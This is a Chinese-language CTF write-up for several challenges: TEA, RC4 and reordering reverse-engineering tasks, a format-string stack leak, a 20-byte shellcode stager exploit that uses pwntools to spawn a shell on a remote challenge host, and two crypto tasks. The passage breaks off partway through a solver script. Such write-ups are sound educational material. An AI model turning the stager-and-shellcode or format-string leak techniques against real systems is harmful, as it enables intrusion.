lea rax, -112[rbp]
add rax, rdx
mov rcx, rax
call _Z2fnPj
add DWORD PTR -4[rbp], 1
.L14:
mov eax, DWORD PTR -12[rbp]
lea edx, 7[rax]
test eax, eax
cmovs eax, edx
sar eax, 3
cmp DWORD PTR -4[rbp], eax
jl .L15
mov DWORD PTR -8[rbp], 0
jmp .L16
.L18:
mov eax, DWORD PTR -8[rbp]
cdqe
sal rax, 2
lea rdx, 5[rax]
lea rax, -112[rbp]
add rax, rdx
mov ecx, DWORD PTR [rax]
mov eax, DWORD PTR -8[rbp]
cdqe
lea rdx, 0[0+rax*4]
lea rax, ezgm[rip]
mov eax, DWORD PTR [rdx+rax]
cmp ecx, eax
je .L17
lea rax, .LC4[rip]
mov rcx, rax
call _Z6printfPKcz
mov eax, 0
jmp .L20
.L17:
add DWORD PTR -8[rbp], 1
.L16:
mov eax, DWORD PTR -12[rbp]
lea edx, 3[rax]
test eax, eax
cmovs eax, edx
sar eax, 2
cmp DWORD PTR -8[rbp], eax
jl .L18
lea rax, .LC5[rip]
mov rcx, rax
call _Z6printfPKcz
jmp .L19
.L11:
lea rax, .LC6[rip]
mov rcx, rax
call _Z6printfPKcz
.L19:
mov eax, 0
.L20:
add rsp, 144
pop rbp
ret
.seh_endproc
.def __main; .scl 2; .type 32; .endef
.ident "GCC: (x86_64-posix-seh-rev0, Built by MinGW-Builds project) 15.1.0"
.def __mingw_vfscanf; .scl 2; .type 32; .endef
.def __mingw_vfprintf; .scl 2; .type 32; .endef
.def strncmp; .scl 2; .type 32; .endef
.def strlen; .scl 2; .type 32; .endef

Solution

1. 核心逻辑

  • 输入验证: 程序要求输入 flag{...} 格式的字符串,其中 {} 内的内容必须为 32 字节。
  • 分块加密: 程序将 {} 内的 32 字节数据分为 4 个 8 字节的块。
  • 加密函数: 对每个块调用加密函数 _Z2fnPj,是标准的 TEA 加密算法
  • 结果比对: 将 4 个块加密后的 32 字节结果与全局数据 ezgm 进行比对

2. TEA 算法参数

  • 密文 (Ciphertext): 存储在 ezgm 数组中
  • 密钥 (Key): 密钥派生自全局变量 ng (sp\x7fvuctp|xeb|hv~)

3. 交替密钥

加密函数 _Z2fnPj 在每次被调用时都会执行以下操作:

  1. 读取全局变量 ng 的当前值
  2. 将其逐字节与 17 (0x11) 进行异或
  3. 将异或结果写回 ng,覆盖其原始内容
  4. 使用这个新生成的值作为 TEA 密钥

由于 main 函数连续调用 _Z2fnPj 四次,导致 ng 的状态在两个值之间来回切换:

  • 第 1、3 次调用 (处理块 0, 2):
    • 密钥为 sp\x7fvuctp|xeb|hv~ XOR 17 = bangdreamitsmygo
  • 第 2、4 次调用 (处理块 1, 3):
    • 密钥为 bangdreamitsmygo XOR 17 = sp\x7fvuctp|xeb|hv~
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import struct

def decrypt(v, k):
"""TEA Decryption"""
v0, v1 = v
delta = 0x9E3779B9
k0, k1, k2, k3 = k
sum_val = (delta * 32) & 0xFFFFFFFF
for _ in range(32):
v1 = (v1 - ((((v0 << 4) + k2) & 0xFFFFFFFF) ^ ((v0 + sum_val) & 0xFFFFFFFF) ^ (((v0 >> 5) + k3) & 0xFFFFFFFF))) & 0xFFFFFFFF
v0 = (v0 - ((((v1 << 4) + k0) & 0xFFFFFFFF) ^ ((v1 + sum_val) & 0xFFFFFFFF) ^ (((v1 >> 5) + k1) & 0xFFFFFFFF))) & 0xFFFFFFFF
sum_val = (sum_val - delta) & 0xFFFFFFFF
return [v0, v1]

# 密文
ezgm_signed = [
1210405119, 710975774, -90350153, -1958008304,
-745722482, 67707510, -86515270, -1728462407
]
ezgm_unsigned = list(struct.unpack('<8I', struct.pack('<8i', *ezgm_signed)))

# 交替使用的两个密钥
key1_bytes = b'bangdreamitsmygo'
key2_bytes = b'sp\x7fvuctp|xeb|hv~'
key1 = list(struct.unpack('<4I', key1_bytes))
key2 = list(struct.unpack('<4I', key2_bytes))
keys = [key1, key2]

# 分块解密
decrypted_bytes = b""
for i in range(4):
current_key = keys[i % 2]
block_index = i * 2
block = ezgm_unsigned[block_index : block_index + 2]
decrypted_block = decrypt(block, current_key)
decrypted_bytes += struct.pack('<2I', *decrypted_block)

# 输出 Flag
flag_content = decrypted_bytes.decode('ascii')
print(f"flag{{{flag_content}}}")

FLAG

1
flag{4553m81y_5_s0o0o0_345y_jD5yQ5mD9}

Look at me carefully

Challenge

真的需要仔细看吗?

【难度:中等】

Solution

  1. 输入长度验证

程序首先检查用户输入的字符串长度是否为 36:

1
if ( &v8[strlen(v8) + 1] - &v8[1] == 36 )
  1. 目标字符串与处理流程

程序定义了一个硬编码的目标字符串:

1
strcpy(cH4_1elo_ookte?0dv__alafle___5yygume, "cH4_1elo{ookte?0dv_}alafle___5yygume");

该字符串长度为 36,是验证时的期望结果。

随后,程序调用 sub_4016E0 函数 38 次,每次传入用户输入 v8 和一个固定的索引(如 27、5、6、9……)。虽然调用次数为 38,但最终仅前 36 字节参与比较

因此我们只需关注前 36 次有效调用中对应输入索引 < 36 的部分,提取这些索引得到处理顺序列表:

1
2
3
4
5
6
order = [
27, 5, 6, 9, 28, 18, 32, 29, 4, 11,
15, 17, 22, 8, 34, 16, 19, 7, 26, 35,
2, 14, 21, 0, 1, 25, 13, 23, 20, 30,
33, 10, 3, 12, 24, 31
]
  1. 函数行为分析

sub_4016E0 的作用是将 v8[a3](即 flag 的第 a3 个字符)经过一系列运算后,写入 v6 的下一个空位置(由当前 v6 长度 v5 决定)

尽管函数内部包含复杂的混淆逻辑,但关键观察如下:

  • 每次调用 sub_4016E0 时,v6 的当前长度 v5 等于调用次数(从 0 开始)
  • 因此第 i 次调用(i 从 0 到 35)将结果写入 v6[i]
  • 所有混淆操作(包括 sub_401300 对内存的修改)在整体流程中 不改变输入字符与输出字节之间的一一对应关系,因为:
    • 混淆仅作用于 v6v8 的前几个字节
    • sub_4016E0 每次处理的是 不同位置的输入字符
    • 最终 v6 的每个字节仅由 对应索引的输入字符唯一决定

若假设 sub_4016E0 的净效果是恒等映射(即 v6[i] = v8[order[i]]),则重建的 flag 具有合法格式和语义,说明该假设成立。即使存在异或等简单变换,由于目标字符串已知,且变换可逆,最终仍能通过排列还原。

  1. 逆向重建 flag

设目标字符串为:

1
T = "cH4_1elo{ookte?0dv_}alafle___5yygume"

根据处理顺序 order,有:

1
2
3
4
v6[0]  = f(order[0])  = f(27)  → 应等于 T[0] = 'c'
v6[1] = f(order[1]) = f(5) → 应等于 T[1] = 'H'
...
v6[35] = f(order[35]) = f(31) → 应等于 T[35] = 'e'

因此 flag 的第 order[i] 个字符等于 T[i]

据此,初始化一个长度为 36 的字符数组 flag,遍历 i = 035

1
flag[order[i]] = T[i]

逐位填充后得到:

1
2
索引:  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
字符: f l a g { H 4 v e _ y o u _ l o 0 k e d _ a t _ m e _ c 1 o 5 e l y ? }

拼接后得到完整 flag:

1
flag{H4ve_you_lo0ked_at_me_c1o5ely?}

FLAG

1
flag{H4ve_you_lo0ked_at_me_c1o5ely?}

采一朵花,送给艾达(1)

Challenge

哎呀我手动分析得了MVP

IDA反汇编不出来,躺赢狗

【难度:中等】

Solution

1. 关键逻辑定位

  • 通过函数与字符串交叉观察,确定核心逻辑在 main,涉及:

    • 输入读取到缓冲 Str,随后长度校验为 0x28(40)
    • 密钥字符串:“EasyJunkCodes”
    • 初始化 RC4 状态 rc4_init,对拷贝后的输入缓冲 var_430 调用 rc4_crypt
    • 将处理结果逐字节与期望数组 var_560 比较,相等输出成功提示
  • main 汇编关键路径(省略与流程无关的干扰指令):

    1. scanf("%s", Str) 读取输入
    2. strlen(Str) -> var_14,并比较 var_14 == 0x28
    3. 准备密钥指针到 "EasyJunkCodes",调用 rc4_init(&var_530, key, key_len)
    4. 将输入拷贝到工作缓冲 var_430,然后 rc4_crypt(&var_530, var_430, var_14)
    5. 循环比较:var_430[i]var_560[i](共40字节)

2. 期望数组 var_560 的构造来源

  • var_560 由 5 个 QWORD 立即数按小端写入组成(总计40字节)。在 main 的常量写入序列中可见如下立即数:

    • 前16字节(两个 QWORD):
      • qword0 = 0x1175640343C17FC7
      • qword1 = 0xDF23C0F6558CB888
    • 后24字节(三个 QWORD):
      • 0xF2F082F69E2E0F4D
      • 0xE1278329086B51BC
      • 0x4E4F80B188C6BDCB
  • 小端拼接说明:每个 QWORD 按低字节先的顺序展开为 8 个字节,依次连接为期望数组的 40 个元素

3. RC4 变体语义重建

  • rc4_init(两阶段):

    1. 填充状态 S:S[i] = (-i) & 0xFF,i 从 0..255
    2. KSA-like 置换(结合密钥):
      • j = (S[i] + j + key[i % key_len]) & 0xFF
      • 交换:swap(S[i], S[j])
  • rc4_crypt(PRGA变体与输出规则):

    1. 每字节步进:
      • i = (i + 1) & 0xFF
      • j = (j + S[i]) & 0xFF
      • swap(S[i], S[j])
      • t = (S[i] + S[j]) & 0xFF
      • k = S[t](当次密钥流字节)
    2. 输出规则(与输入相加):cipher[i] = plain[i] + k(字节加法 mod 256)
      • 因而解密为:plain[i] = (expected[i] - k) & 0xFF

4. 解密方法步骤

  • 密钥固定为 "EasyJunkCodes";key_len 为该字符串长度
  • 按 3. 的 rc4_init 与 rc4_crypt 语义生成 40 字节密钥流 keystream[0..39]
  • 构造 expected[0..39]
    • 先将 qword0、qword1 展开并拼为前 16 字节
    • 再将后三个 QWORD 展开并拼为后 24 字节
  • 逐字节计算明文:
    • flag[i] = (expected[i] - keystream[i]) & 0xFF,i = 0..39
  • 将所得字节按 ASCII 解码,即为最终输入字符串
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import argparse

key = b"EasyJunkCodes"
key_len = len(key)

def rc4_setup_and_keystream(nbytes=40):
S = [0] * 256
for i in range(256):
S[i] = (-i) & 0xFF
j = 0
for i in range(256):
a = S[i]
b = key[i % key_len]
j = (a + j + b) & 0xFF
S[i], S[j] = S[j], S[i]
keystream = []
i = 0
j = 0
for _ in range(nbytes):
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
t = (S[i] + S[j]) & 0xFF
k = S[t]
keystream.append(k)
return keystream

def qword_le_bytes(x):
return [(x >> (8*k)) & 0xFF for k in range(8)]

def recover_flag(q0, q1):
# 期望数组的五个 QWORD(小端展开)
expected = (
qword_le_bytes(q0) +
qword_le_bytes(q1) +
qword_le_bytes(0xF2F082F69E2E0F4D) +
qword_le_bytes(0xE1278329086B51BC) +
qword_le_bytes(0x4E4F80B188C6BDCB)
)
ks = rc4_setup_and_keystream(40)
plain = [(expected[i] - ks[i]) & 0xFF for i in range(40)]
return bytes(plain)

if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("--qword0", required=False, default="0x1175640343C17FC7")
parser.add_argument("--qword1", required=False, default="0xDF23C0F6558CB888")
args = parser.parse_args()
q0 = int(args.qword0, 16)
q1 = int(args.qword1, 16)
flag_bytes = recover_flag(q0, q1)
print(flag_bytes.decode("ascii", errors="replace"))

FLAG

1
flag{Junk_C0d3s_4Re_345y_t0_rEc0gn1Ze!!}

Pwn

刻在栈里的秘密

Challenge

欢迎来到 x64 位餐厅!服务员 printf 先生有点健忘,他只能记住您菜单上的前 6 道菜 (RDI, RSI, RDX…),再多就只能堆在摇摇晃晃的餐盘 (栈) 上了。更糟糕的是,他会把你写的菜单原封不动地大声念出来。你能设计一份别有用心的菜单,让他念着念着,就把秘密房间的密码念给你听吗?

【难度:简单】

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
现在有一个密码隐藏在栈上(•̀ᴗ• )
你需要做的是通过格式化字符串来泄露这个密码o(´^`)o!m, 告诉我密码我就给你flag
哦,对了对了,你还要告诉我指向这个密码的地址
在此之前, 你可以了解一下各个格式化字符串的用法, 例如 %p, %s, %d, 以及 $ 符号. emmm...还有 x86-64 函数调用约定!

指向密码的指针被存放在了 0x7fffb3af6fc0 中, 同时栈顶指针是 0x7fffb3af6f40 .
他们之间的距离是:也就是说, 在printf之前, 格式字符串的参数看起来就像 ( *・ω・)

0x7fffb3af6fc0: [?] <-- 密码在这里捏
0x7fffb3af6fb8: [?]
0x7fffb3af6fb0: [?]
0x7fffb3af6fa8: [?]
0x7fffb3af6fa0: [?]
0x7fffb3af6f98: [?]
0x7fffb3af6f90: [?]
0x7fffb3af6f88: [?]
0x7fffb3af6f80: [?]
0x7fffb3af6f78: [?]
0x7fffb3af6f70: [?]
0x7fffb3af6f68: [?]
0x7fffb3af6f60: [?]
0x7fffb3af6f58: [?]
0x7fffb3af6f50: [?]
0x7fffb3af6f48: [?]
0x7fffb3af6f40: [?]
0x7fffb3af6f38: [?]
0x7fffb3af6f30: [?] <-- 栈顶在这里捏
R9: [?]
R8: [?]
RCX: [?]
RDX: [?]
RSI: [?]
RDI: [格式化字符串]

现在给你两次输入的机会, 补要输入太长的数据哦.
接着我会使用printf, 用你的输入作为printf的参数.
看起来就像 printf(your_input), 实际上这样是很危险的, 好孩子不要模仿^^. 来吧让我看看你的输入
|20:%20$p|21:%21$p|22:%22$p|23:%23$p|24:%24$p|25:%25$p|26:%26$p|
printf第 1 次启动!
|20:(nil)|21:(nil)|22:(nil)|23:(nil)|24:0x7fffb3af6f70|25:(nil)|26:(nil)|

再来一次 !
%24$p,%24$s
printf第 2 次启动!
0x7fffb3af6f70,KMXXCLGEZSDOFVE

现在来验证一下密码吧 ( ⁼̴̀ .̫ ⁼̴ )✧!输入你的密码:
KMXXCLGEZSDOFVE
现在来验证一下密码的指针吧 ( ⁼̴̀ .̫ ⁼̴ )✧!输入你的密码:
给我输入一个类似 0x114514 的 16 进制数!
0x7fffb3af6f70
好棒 ̋(๑˃́ꇴ˂̀๑) 给你flag
flag{149eefbb-de23-4754-9333-76cb12ff0bb7}

FLAG

1
flag{149eefbb-de23-4754-9333-76cb12ff0bb7}

input_small_function

Challenge

密码的为什么能输入的字符这么少

【难度:中等】

Solution

先分析主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf;

init(argc, argv, envp);
// 1. 在固定地址 0x114514 映射一块可读、可写、可执行(RWX)的内存
buf = mmap((void *)0x114514, 0x1000u, 7, 34, -1, 0);
puts("please input a small function (also after compile)");
// 2. 从标准输入读取最多 0x14 (20) 字节到这块内存
read(0, buf, 0x14u);
clear();
// 3. 将这块内存当作函数指针直接调用执行
((void (*)(void))buf)();
return 0;
}
  1. mmap:程序在固定的、已知的地址 0x114514 申请了一页内存。关键在于权限 prot=7,即 PROT_READ | PROT_WRITE | PROT_EXEC,这是一块可读可写可执行(RWX)的内存区域。
  2. read:程序向这块内存中读取用户输入,但长度被严格限制在 0x14,即20个字节。
  3. call:程序直接将用户输入的内容当作机器码来执行。

漏洞点在于我们可以直接向一块可执行内存写入并执行任意代码,挑战在于只有 20字节 的空间,而一个标准的 64 位 shellcode 通常需要超过20字节。

为了绕过20字节的限制可以采用分阶段加载的策略:

  1. 第一阶段:先发送一段极小的 “加载器” shellcode(stager),它必须小于等于20字节。这个 stager 的功能是再次调用 read 系统调用,从标准输入读取一段更长的 shellcode 到 0x114514 这个地址。
  2. 第二阶段:当 stager 执行并阻塞在 read 时再发送用于获取 shell 的完整 shellcode。
  3. 控制流转移:当第二次 read 完成后,第二阶段的 shellcode 会覆盖掉第一阶段的 stager,因此,stager 必须在最后包含一条指令,将程序执行流(RIP)重新导向 0x114514 的开头,以确保发送的第二阶段 shellcode 能从头开始被完整执行。

1. 第一阶段:

stager 需要完成两件事:

  1. 执行 read(0, 0x114514, 0x50)
  2. 跳转回 0x114514

为了将代码压缩到20字节内,构造如下汇编指令:

1
2
3
4
5
6
7
8
9
10
11
; 调用 read(0, 0x114514, 0x50) - 13 bytes
; 使用 32 位寄存器指令可以节省字节
xor eax, eax ; syscall read = 0 (2 bytes)
xor edi, edi ; fd stdin = 0 (2 bytes)
mov esi, 0x114514 ; buffer address (5 bytes)
mov dl, 0x50 ; size to read (2 bytes)
syscall ; 发起系统调用 (2 bytes)

; 跳转回缓冲区开头 - 7 bytes
mov eax, 0x114514 ; 将绝对地址加载到寄存器 (5 bytes)
jmp rax ; 通过寄存器间接跳转 (2 bytes)

这段 shellcode 的总长度为 13 + 7 = 20 字节,正好满足题目 0x14 字节的限制。

2. 第二阶段:

使用 pwntoolsshellcraft 模块来生成 shellcode:

1
stage2_shellcode = asm(shellcraft.sh())

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# -*- coding: utf-8 -*-
from pwn import *

# 设置目标架构和操作系统
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'

HOST = '8.147.134.121'
PORT = 26655
BUF_ADDR = 0x114514

p = remote(HOST, PORT)

# --- Stage 1 ---
# 1. 调用 read(0, BUF_ADDR, 0x50) 再次读取
# 2. 读取完成后,跳转回 BUF_ADDR 的开头,以执行 Stage 2 shellcode
stage1_asm = f"""
/* Part 1: Call read(0, BUF_ADDR, 0x50) */
xor eax, eax /* syscall read = 0 */
xor edi, edi /* fd stdin = 0 */
mov esi, {BUF_ADDR} /* buffer address */
mov dl, 0x50 /* size to read */
syscall /* Make the call */

/* Part 2: Jump back to the start of the buffer */
mov eax, {BUF_ADDR} /* Load the absolute address into eax */
jmp rax /* Jump to it */
"""
stage1_shellcode = asm(stage1_asm)

# 检查 stager 长度
log.info(f"Stage 1 (stager) shellcode: {stage1_shellcode.hex()}")
log.info(f"Stage 1 (stager) shellcode length: {len(stage1_shellcode)} bytes")

# 断言确保长度正确
assert len(stage1_shellcode) <= 0x14, "Stage 1 shellcode is too long!"
# 填充到20字节
stage1_shellcode = stage1_shellcode.ljust(0x14, b'\x90') # Pad with NOPs

# --- Stage 2 ---
# 获取 shell
stage2_shellcode = asm(shellcraft.sh())
log.info(f"Stage 2 (main) shellcode length: {len(stage2_shellcode)} bytes")


p.recvuntil(b"please input a small function (also after compile)\n")

log.info("Sending Stage 1 (stager with jump) shellcode...")
p.send(stage1_shellcode)

sleep(0.2)

log.info("Sending Stage 2 (main) shellcode...")
p.send(stage2_shellcode)

p.interactive()

FLAG

1
flag{69e91513-a99d-403b-8f3f-0afd9ec5b32e}

Crypto

置换

Challenge

我一看数学就头疼怎么办?(把解密出的文本用flag{}裹上提交)

【难度:中等】

Hello, guys!
Let’s learn something new today.^1


在一个集合(例如 ${1,2,3}$)中,置换是一个把集合元素重新排列的函数。

例如:
$$\sigma(1)=2, \quad \sigma(2)=3, \quad \sigma(3)=1$$

我们可以可视化为:
$$1 \rightarrow 2 \rightarrow 3 \rightarrow 1$$

或者使用 轮换表示法(cycle notation)
$$(1;2;3)$$

如果想组合两个置换 $\sigma_1$ 和 $\sigma_2$,写作:
$$\sigma_2 \circ \sigma_1(x) = \sigma_2(\sigma_1(x))$$

例子:
$$(1;3;2;5;4)(1;2;3;4;5) = (1;5;3)$$


把字母映射到数字:
$$A=1, B=2, \dots, Z=26$$

我们定义一个置换 $\mathrm F$,它是 两个简单 $S_{26}$ 置换的复合

$$
\mathrm F = (1;2;3;4;5;6;7)(8;9;10;11;12;13;14) \circ (1;3;5;7)(2;4;6)(8;10;12;14)
$$

加密操作:
$$
\mathrm{F}(\text{Message}) = \text{Ciphertext}
$$

例子:
$$
(1;2;3)(4;5) \text{ applied to } B C A E D F \quad \Rightarrow \quad C A B D E F
$$


你的密文:

SUFK_D_SJNPHA_PARNUTDTJOI_WJHH_GACJIJTAHY_IOT_STUNP_YOU.

Solution

  1. 加密是函数 F 的应用:
    $$
    \text{Ciphertext} = \mathrm{F}(\text{Message})
    $$
    其中 $\mathrm F = \sigma_2 \circ \sigma_1$

  2. 解密是应用 F 的逆函数:
    $$
    \text{Message} = \mathrm{F}^{-1}(\text{Ciphertext})
    $$

  3. 对于复合函数,逆的顺序是相反的:
    $$
    \mathrm{F}^{-1} = (\sigma_2 \circ \sigma_1)^{-1} = \sigma_1^{-1} \circ \sigma_2^{-1}
    $$
    这意味着解密时,我们需要先应用 $\sigma_2$ 的逆,再应用 $\sigma_1$ 的逆

  4. 只需将轮换中的元素顺序颠倒即可求得一个轮换的逆:例如轮换 $(1;2;3)$ 的作用是 $1 \to 2, 2 \to 3, 3 \to 1$,它的逆操作就是 $1 \to 3, 3 \to 2, 2 \to 1$,也就是轮换 $(1;3;2)$ 或 $(3;2;1)$

  5. 计算 $\sigma_1^{-1}$ 和 $\sigma_2^{-1}$

    • $\sigma_1 = (1;3;5;7)(2;4;6)(8;10;12;14)$
      $$
      \sigma_1^{-1} = (7;5;3;1)(6;4;2)(14;12;10;8)
      $$
    • $\sigma_2 = (1;2;3;4;5;6;7)(8;9;10;11;12;13;14)$
      $$
      \sigma_2^{-1} = (7;6;5;4;3;2;1)(14;13;12;11;10;9;8)
      $$

编写Python脚本解题:

  1. 定义一个函数,将轮换表示法(字符串)转换为一个字典,方便查找映射关系。
  2. 创建 $\sigma_1^{-1}$ 和 $\sigma_2^{-1}$ 的映射字典。
  3. 遍历密文,对每个字母执行解密操作:字母 -> 数字 -> 应用 σ₂⁻¹ -> 应用 σ₁⁻¹ -> 数字 -> 字母
  4. 非字母字符(如 _.)保持不变。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import re

def parse_cycles_to_map(cycle_notation_str: str) -> dict[int, int]:
"""
将轮换表示法字符串解析为Python字典
"""
permutation_map = {}
# 使用正则表达式找到所有括号内的内容
cycles = re.findall(r'\((.*?)\)', cycle_notation_str)

for cycle in cycles:
# 将字符串 "1 2 3" 转换成整数列表 [1, 2, 3]
numbers = [int(n) for n in cycle.split()]

if len(numbers) < 2:
continue

# 创建映射关系:n1 -> n2, n2 -> n3, ..., nk -> n1
for i in range(len(numbers) - 1):
permutation_map[numbers[i]] = numbers[i+1]
# 最后一个数字映射回第一个
permutation_map[numbers[-1]] = numbers[0]

return permutation_map

# 0. 密文
ciphertext = "SUFK_D_SJNPHA_PARNUTDTJOI_WJHH_GACJIJTAHY_IOT_STUNP_YOU."

# 1. 定义两个置换的逆
# 原置换:
# s1 = "(1 3 5 7)(2 4 6)(8 10 12 14)"
# s2 = "(1 2 3 4 5 6 7)(8 9 10 11 12 13 14)"

# 逆置换 (颠倒每个轮换内部的顺序)
s1_inv_str = "(7 5 3 1)(6 4 2)(14 12 10 8)"
s2_inv_str = "(7 6 5 4 3 2 1)(14 13 12 11 10 9 8)"

# 2. 将逆置换转换为映射字典
s1_inv_map = parse_cycles_to_map(s1_inv_str)
s2_inv_map = parse_cycles_to_map(s2_inv_str)

# 3. 遍历密文进行解密
plaintext = []
for char in ciphertext:
if 'A' <= char <= 'Z':
# 字母 -> 数字 (A=1, B=2, ...)
num = ord(char) - ord('A') + 1

# 解密 F_inv = s1_inv o s2_inv
# 首先应用 s2_inv
# .get(num, num) 表示如果num不在映射中,则它映射到自身
num_after_s2_inv = s2_inv_map.get(num, num)

# 然后应用 s1_inv
decrypted_num = s1_inv_map.get(num_after_s2_inv, num_after_s2_inv)

# 数字 -> 字母
decrypted_char = chr(decrypted_num - 1 + ord('A'))
plaintext.append(decrypted_char)
else:
# 非字母字符保持原样
plaintext.append(char)

# 4. 组合并打印结果
flag = "".join(plaintext)
print("flag{"+flag+"}")

FLAG

1
flag{SUCH_A_SIMPLE_PERMUTATION_WILL_DEFINITELY_NOT_STUMP_YOU.}

FHE: 0 and 1

Challenge

千里之堤,溃于蚁穴

【难度:简单】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import uuid
import random
from Crypto.Util.number import getPrime

flag = "flag{" + str(uuid.uuid4()) + "}" # 生成随机 flag
binary_flag = "" # 存储 flag 对应的二进制字符串

# 将每个字符转换为 8 位二进制
for ch in flag:
# ord(ch) 得到字符的 ASCII 值
# bin(...) 得到二进制字符串,去掉 '0b' 前缀并补齐 8 位
binary_flag += bin(ord(ch))[2:].zfill(8)

p = getPrime(128) # 生成大素数 p

# -------------------------------
# 加密逻辑
# -------------------------------
ciphertext = [] # 存储加密后的每一位
public_keys = [] # 存储每一位对应的 public key

for bit in binary_flag:
# 随机生成一个大整数作为公钥
rand_multiplier = random.randint(p // 4, p // 2)
rand_offset = random.randint(1, 10)
pk_i = p * rand_multiplier + rand_offset
public_keys.append(pk_i)

# 加密:bit + 一个小随机数 + p 的倍数
small_noise = 2 * random.randint(1, p // 2**64)
large_noise = p * random.randint(p // 4, p // 2)
c_i = int(bit) + small_noise + large_noise
ciphertext.append(c_i)

# -------------------------------
# 保存公钥和密文到文件
# -------------------------------
with open("pk.txt", "w") as f:
f.write(str(public_keys))

with open("c.txt", "w") as f:
f.write(str(ciphertext))

Solution

加密逻辑分析

  1. 密钥 p:脚本的核心秘密是一个128位的素数 p,这个 p 在整个加密过程中保持不变,但没有被保存到任何文件中。因此解密的第一步就是恢复 p

  2. 公钥 public_keys:每个公钥 pk_i 的生成方式是 pk_i = p * rand_multiplier + rand_offset

    • rand_multiplier 是一个非常大的随机整数
    • rand_offset 是一个非常小的随机整数,范围是 [1, 10]
    • 这意味着 pk_i 非常接近 p 的某个倍数,如果我们计算 pk_i % p,结果就是 rand_offset
    • 由于所有的 pk_i 都共享同一个 p,这给了我们一个找到 p 的突破口,p 是所有 (pk_i - r_i) 的一个“近似”公因子,其中 r_i 是我们不知道的小偏移量
  3. 密文 ciphertext:每个密文 c_i 的生成方式是 c_i = int(bit) + small_noise + large_noise

    • bit 是 0 或 1
    • small_noise2 * random.randint(...),这意味着 small_noise 永远是偶数
    • large_noisep * random.randint(...),这意味着 large_noise 永远是 p 的倍数

解题思路

步骤一:恢复素数 p

我们观察公钥的结构 pk_i = p * q_i + r_i(这里用 q_i 代表 rand_multiplierr_i 代表 rand_offset)。

因为我们不知道 r_i,所以不能直接通过求最大公约数(GCD)来找到 p。但是,r_i 的范围非常小(1到10)。我们可以利用这一点:

  1. 任意选取一个公钥,比如 pk_0
  2. 我们知道 pk_0 = p * q_0 + r_0,其中 r_0 是 1 到 10 之间的一个整数
  3. 我们可以遍历 r_0 的所有可能值(从1到10)
  4. 对于每一个猜测的 r_guess,我们计算 M = pk_0 - r_guess,如果我们的猜测是正确的那么 M 就是 p * q_0 的值
  5. 现在 M 应该有两个大素数因子 pq_0,我们可以对 M进行质因数分解,p 是一个128位的素数,所以我们只需要在因子中寻找一个128位的数
  6. 找到一个候选的 p 之后我们需要验证它是否正确,可以用另一个公钥(比如 pk_1)来验证,如果 p 是正确的,那么 pk_1 % p 的结果应该也在 [1, 10] 这个范围内,如果满足这个条件,我们几乎可以肯定已经找到了正确的 p

步骤二:解密 ciphertext

观察密文的结构:c_i = bit + small_noise + large_noise

等式两边同时模 p
c_i % p = (bit + small_noise + large_noise) % p
因为 large_noisep 的倍数,所以 large_noise % p = 0
等式变为:c_i % p = (bit + small_noise) % p

然后再对这个结果模 2:
(c_i % p) % 2 = (bit + small_noise) % 2
因为 small_noise 是偶数,所以 small_noise % 2 = 0
等式变为:(c_i % p) % 2 = bit % 2

因为 bit 本身就是 0 或 1,所以 bit % 2 就是 bit 本身
得出结论: bit = (c_i % p) % 2

步骤三:恢复 flag

  1. 遍历所有密文 c_i,使用上面的公式计算出每一位 bit
  2. 将所有 bit 拼接成一个二进制字符串
  3. 将二进制字符串按每8位进行分割
  4. 将每个8位的二进制块转换为其对应的ASCII字符
  5. 将所有字符拼接起来,就得到了原始的 flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import ast
from sympy import factorint

with open("pk.txt", "r") as f:
public_keys = ast.literal_eval(f.read())

with open("c.txt", "r") as f:
ciphertext = ast.literal_eval(f.read())

def find_p(pks):
"""
通过因式分解和验证来恢复素数 p
"""
pk0 = pks[0]
pk1 = pks[1] # 用于验证

# 遍历 r_offset 的所有可能值 (1 到 10)
for r_guess in range(1, 11):
print(f"[*] 正在尝试 r_offset = {r_guess}...")

# M = pk0 - r_guess 应该是 p * q0
M = pk0 - r_guess

# 对 M 进行质因数分解
try:
factors = factorint(M)
except Exception as e:
print(f"因式分解失败: {e}")
continue

# 遍历所有因子,寻找128位的素数 p
for p_candidate, _ in factors.items():
# 检查候选 p 的位数是否为 128
if p_candidate.bit_length() == 128:
print(f" [*] 找到一个128位的候选 p: {p_candidate}")

# 使用另一个公钥进行验证
# 如果 p 是正确的,pk1 % p_candidate 的结果应该在 [1, 10] 内
remainder = pk1 % p_candidate
if 1 <= remainder <= 10:
print(f" [+] 验证成功!remainder = {remainder}")
return p_candidate
else:
print(f" [-] 验证失败。remainder = {remainder}")

return None

p = find_p(public_keys)
if p:
print(f"\n成功找到 p: {p}")
else:
